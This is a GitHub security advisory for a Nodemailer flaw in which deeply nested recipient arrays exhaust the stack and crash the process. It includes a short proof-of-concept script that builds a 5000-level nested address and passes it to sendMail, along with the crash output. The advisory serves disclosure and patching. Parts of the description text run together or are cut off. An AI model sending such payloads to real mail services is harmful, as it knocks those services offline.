GitHub Advisoryadvisory · npm

GHSA-8vvx-rff5-p5rq Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS

MEDIUM Published 2026-09-29 Modified 2026-09-29 Official page ↗
Ecosystem
npm
Packages
nodemailer
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-674
Reviewed
2026-09-29

Affected packages

• npm nodemailer: < 10.0.2 → fixed in 10.0.2

Description

Submission metadata | Field | Value | |---|---| | Ecosystem | npm | | Package | `nodemailer` | | Repository | https://github.com/nodemailer/nodemailer | | Tested commit | `40d52215aac65b811d7e131bc916f68605efd9d2` | | Current tested version | `10.0.1` | | Confirmed vulnerable versions | `2.7.2`, `3.0.0`, `7.0.11`, `9.1.1`, `10.0.1` | | Proposed affected range | `>= 2.7.2, { if (address && address.address) { const normalized = this._normalizeAddress(address.address); // ... return; } const parsed = this._normalizeParsedAddresses(addressparser(address)); for (let i = 0; i Array.join -> childArray.toString -> Array.join -> childArray.toString -> ... ``` At sufficient depth, V8 raises `RangeError: Maximum call stack size exceeded`. 4. The recipient limit is applied too late Nodemailer's `maxRecipients` protection is evaluated only after the message envelope has been constructed: ```ts const recipientCount = mail.message.getEnvelope().to.length; ``` Pinned source: https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417 The exception occurs inside `getEnvelope()`, so `maxRecipients` cannot prevent this condition. Vulnerable code path ```text transporter.sendMail(message) -> MailComposer(mail.data).compile() -> mail.message.getEnvelope() -> MimeNode._parseAddresses(message.to) -> addressparser(nestedArray) -> new Tokenizer(nestedArray) -> nestedArray.toString() -> Array.join / Array.toString recursion -> RangeError: Maximum call stack size exceeded ``` Proof of concept Test environment ```text Operating system: Windows 11 Node.js: 20.20.2 Nodemailer: 10.0.1 Nodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2 Transport: jsonTransport ``` Installation ```console mkdir nodemailer-nested-array-poc cd nodemailer-nested-array-poc npm init -y npm install [email protected] ``` Create `poc.mjs`: ```js import nodemailer from 'nodemailer'; const depth = Number(process.argv[2] || 5000); // Valid JSON containing one address wrapped in `depth` arrays. const json = '['.repeat(depth) + '"[email protected]"' + ']'.repeat(depth); const recipient = JSON.parse(json); console.log({ nodemailerVersion: '10.0.1', depth, jsonBytes: Buffer.byteLength(json) }); const transport = nodemailer.createTransport({ jsonTransport: true }); await transport.sendMail({ from: '[email protected]', to: recipient, subject: 'Nested recipient array PoC', text: 'test' }); console.log('sendMail resolved'); ``` Trigger ```console node poc.mjs 5000 ``` Observed result ```text { nodemailerVersion: '10.0.1', depth: 5000, jsonBytes: 10021 } node:internal/modules/run_main:123 triggerUncaughtException( ^ RangeError: Maximum call stack size exceeded at Array.join () at Array.toString () at Array.join (<anonymous…

Related

Weakness · CWE (1)

  • CWE-674 Uncontrolled Recursion weakness

References